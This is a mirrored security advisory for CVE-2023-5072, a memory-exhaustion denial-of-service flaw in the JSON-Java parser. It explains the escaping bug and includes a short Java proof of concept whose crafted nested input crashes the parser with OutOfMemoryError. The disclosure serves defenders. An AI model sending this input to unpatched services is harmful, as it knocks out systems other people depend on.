Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS00anE5LTJ4aHctanB4N84AA3K3

Java: DoS Vulnerability in JSON-JAVA

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023
Date fixed:
Date disclosed: 10/12/2023

Permalink: https://github.com/advisories/GHSA-4jq9-2xhw-jpx7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00anE5LTJ4aHctanB4N84AA3K3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 6 months ago
Updated: 6 months ago

Identifiers: GHSA-4jq9-2xhw-jpx7, CVE-2023-5072
References:

• https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7
• https://nvd.nist.gov/vuln/detail/CVE-2023-5072
• https://github.com/stleary/JSON-java/issues/758
• https://github.com/stleary/JSON-java/issues/771
• https://github.com/stleary/JSON-java/pull/759
• https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb
• https://github.com/advisories/GHSA-4jq9-2xhw-jpx7

Repository: https://github.com/stleary/JSON-java
Blast Radius: 0.0

Affected Packages